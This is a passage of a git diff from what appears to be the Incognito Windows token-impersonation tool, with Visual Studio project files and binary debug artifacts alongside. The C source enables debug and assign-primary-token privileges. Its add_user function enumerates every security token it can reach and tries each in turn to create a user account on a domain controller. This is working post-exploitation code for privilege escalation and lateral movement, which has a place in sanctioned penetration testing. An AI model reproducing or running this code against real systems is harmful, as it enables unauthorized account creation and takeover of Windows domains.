TokenPrivilegesInfo[BUF_SIZE]; + DWORD returned_privileges_length, returned_name_length, i; + char privilege_name[BUF_SIZE]; + + if(!LookupPrivilegeValue(NULL, SE_IMPERSONATE_NAME, &luid)) + goto exit; + + if (GetTokenInformation(hToken, TokenPrivileges, TokenPrivilegesInfo, BUF_SIZE, &returned_privileges_length)) + { + for (i=0;i<((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->PrivilegeCount;i++) + { + returned_name_length = BUF_SIZE; + LookupPrivilegeNameA(NULL, &(((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->Privileges[i].Luid), privilege_name, &returned_name_length); + if (strcmp(privilege_name, "SeAssignPrimaryTokenPrivilege") == 0) + return TRUE; + } + } + + exit: + if(hToken) + CloseHandle(hToken); + + return FALSE; +} + +DWORD TryEnableDebugPriv(HANDLE token) +{ + HANDLE hToken = token; + DWORD dwError = 0; + TOKEN_PRIVILEGES privileges; + + if(hToken == NULL && !OpenProcessToken(GetCurrentProcess(), MAXIMUM_ALLOWED, &hToken)) + { + dwError = GetLastError(); + goto exit; + } + + if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &privileges.Privileges[0].Luid)) + { + dwError = GetLastError(); + goto exit; + } + + privileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + privileges.PrivilegeCount = 1; + + if(AdjustTokenPrivileges(hToken, FALSE, &privileges, 0, NULL, NULL) == 0) + { + dwError = GetLastError(); + goto exit; + } + + exit: + if(token == NULL && hToken) + CloseHandle(hToken); + + return dwError; +} + +DWORD TryEnableAssignPrimaryPriv(HANDLE token) +{ + HANDLE hToken = token; + DWORD dwError = 0; + TOKEN_PRIVILEGES privileges; + + if(hToken == NULL && !OpenProcessToken(GetCurrentProcess(), MAXIMUM_ALLOWED, &hToken)) + { + dwError = GetLastError(); + goto exit; + } + + if(!LookupPrivilegeValue(NULL, SE_ASSIGNPRIMARYTOKEN_NAME, &privileges.Privileges[0].Luid)) + { + dwError = GetLastError(); + goto exit; + } + + privileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + privileges.PrivilegeCount = 1; + + if(AdjustTokenPrivileges(hToken, FALSE, &privileges, 0, NULL, NULL) == 0) + { + dwError = GetLastError(); + goto exit; + } + + exit: + if(token == NULL && hToken) + CloseHandle(hToken); + + return dwError; } \ No newline at end of file diff --git a/user_management.c b/src/user_management.c similarity index 97% rename from user_management.c rename to src/user_management.c index a2a57d7..ccf1bcf 100644 --- a/user_management.c +++ b/src/user_management.c @@ -1,281 +1,281 @@ -/* -Software License Agreement (BSD License) - -Copyright (c) 2006, Luke Jennings (0xlukej@gmail.com) -All rights reserved. - -Redistribution and use of this software in source and binary forms, with or without modification, are -permitted provided that the following conditions are met: - -* Redistributions of source code must retain the above - copyright notice, this list of conditions and the - following disclaimer. - -* Redistributions in binary form must reproduce the above - copyright notice, this list of conditions and the - following disclaimer in the documentation and/or other - materials provided with the distribution. - -* Neither the name of Luke Jennings nor the names of its - contributors may be used to endorse or promote products - derived from this software without specific prior - written permission of Luke Jennings. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED -WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A -PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR -ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS -INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR -TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF -ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -*/ -#define _CRT_SECURE_NO_DEPRECATE 1 -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include "list_tokens.h" -#include "handle_arguments.h" -#include "token_info.h" - -void add_user(char *dc_netbios_name, char *username, char *password) -{ - USER_INFO_1 ui; - DWORD dwLevel = 1, dwError = 0, num_tokens = 0, i; - NET_API_STATUS nStatus; - SavedToken *token_list = NULL; - wchar_t dc_netbios_name_u[BUF_SIZE], username_u[BUF_SIZE], password_u[BUF_SIZE]; - TOKEN_PRIVS token_privs; - - mbstowcs(dc_netbios_name_u, dc_netbios_name, strlen(dc_netbios_name)+1); - mbstowcs(username_u, username, strlen(username)+1); - mbstowcs(password_u, password, strlen(password)+1); - - ui.usri1_name = username_u; - ui.usri1_password = password_u; - ui.usri1_priv = USER_PRIV_USER; - ui.usri1_home_dir = NULL; - ui.usri1_comment = NULL; - ui.usri1_flags = UF_SCRIPT; - ui.usri1_script_path = NULL; - - // Enumerate tokens - output_status_string("[*] Enumerating tokens\n"); - - token_list = get_token_list(&num_tokens, &token_privs); - if (!token_list) - { - output_status_string("[-] Failed to enumerate tokens with error code: %d\n", GetLastError()); - return; - } - - output_status_string("[*] Attempting to add user %s to host %s\n", username, dc_netbios_name); - - // Attempt to add user with every token - for (i=0;i +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "list_tokens.h" +#include "handle_arguments.h" +#include "token_info.h" + +void add_user(char *dc_netbios_name, char *username, char *password) +{ + USER_INFO_1 ui; + DWORD dwLevel = 1, dwError = 0, num_tokens = 0, i; + NET_API_STATUS nStatus; + SavedToken *token_list = NULL; + wchar_t dc_netbios_name_u[BUF_SIZE], username_u[BUF_SIZE], password_u[BUF_SIZE]; + TOKEN_PRIVS token_privs; + + mbstowcs(dc_netbios_name_u, dc_netbios_name, strlen(dc_netbios_name)+1); + mbstowcs(username_u, username, strlen(username)+1); + mbstowcs(password_u, password, strlen(password)+1); + + ui.usri1_name = username_u; + ui.usri1_password = password_u; + ui.usri1_priv = USER_PRIV_USER; + ui.usri1_home_dir = NULL; + ui.usri1_comment = NULL; + ui.usri1_flags = UF_SCRIPT; + ui.usri1_script_path = NULL; + + // Enumerate tokens + output_status_string("[*] Enumerating tokens\n"); + + token_list = get_token_list(&num_tokens, &token_privs); + if (!token_list) + { + output_status_string("[-] Failed to enumerate tokens with error code: %d\n", GetLastError()); + return; + } + + output_status_string("[*] Attempting to add user %s to host %s\n", username, dc_netbios_name); + + // Attempt to add user with every token + for (i=0;i + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {C0B5353C-4027-4EFD-A26A-2324CED3E70B} + Incognito + 10.0 + + + + Application + true + MultiByte + v142 + + + Application + true + MultiByte + v142 + + + Application + false + true + MultiByte + v142 + + + Application + false + false + MultiByte + v142 + + + + + + + + + + + + + + + + + + + false + + + + Level3 + Disabled + ..\..\inc + + + true + kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;psapi.lib;mpr.lib;netapi32.lib;Advapi32.lib + + + + + Level3 + Disabled + MultiThreaded + ..\..\inc + + + true + kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;psapi.lib;mpr.lib;netapi32.lib;Advapi32.lib + + + + + Level3 + MaxSpeed + true + true + MultiThreaded + ..\..\inc + + + true + true + true + kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;psapi.lib;mpr.lib;netapi32.lib;Advapi32.lib + + + + + Level3 + Disabled + true + true + MultiThreaded + CompileAsC + + ..\..\inc + false + + + false + true + true + kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;psapi.lib;mpr.lib;netapi32.lib;Advapi32.lib + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/vs2012/Incognito/Incognito.vcxproj.filters b/vs2012/Incognito/Incognito.vcxproj.filters new file mode 100644 index 0000000..548a6ef --- /dev/null +++ b/vs2012/Incognito/Incognito.vcxproj.filters @@ -0,0 +1,60 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + \ No newline at end of file diff --git a/vs2012/Incognito/Incognito.vcxproj.user b/vs2012/Incognito/Incognito.vcxproj.user new file mode 100644 index 0000000..bd6921d --- /dev/null +++ b/vs2012/Incognito/Incognito.vcxproj.user @@ -0,0 +1,11 @@ + + + + C:\Users\user\Desktop\input.txt + WindowsLocalDebugger + + + C:\\Users\\snrt.admin\\Desktop\\t.txt C:\\Users\\snrt.admin\\Desktop\\c.txt + WindowsLocalDebugger + + \ No newline at end of file diff --git a/vs2012/Incognito/vc110.pdb b/vs2012/Incognito/vc110.pdb new file mode 100644 index 0000000..fa7cc1f Binary files /dev/null and b/vs2012/Incognito/vc110.pdb differ diff --git a/vs2012/Incognito/x64/Debug/vc142.idb b/vs2012/Incognito/x64/Debug/vc142.idb new file mode 100644 index 0000000..6b0b8dc Binary files /dev/null and b/vs2012/Incognito/x64/Debug/vc142.idb differ diff --git a/vs2012/x64/Debug/Incognito.ilk b/vs2012/x64/Debug/Incognito.ilk new file mode 100644 index 0000000..96a37f6 Binary files /dev/null and b/vs2012/x64/Debug/Incognito.ilk differ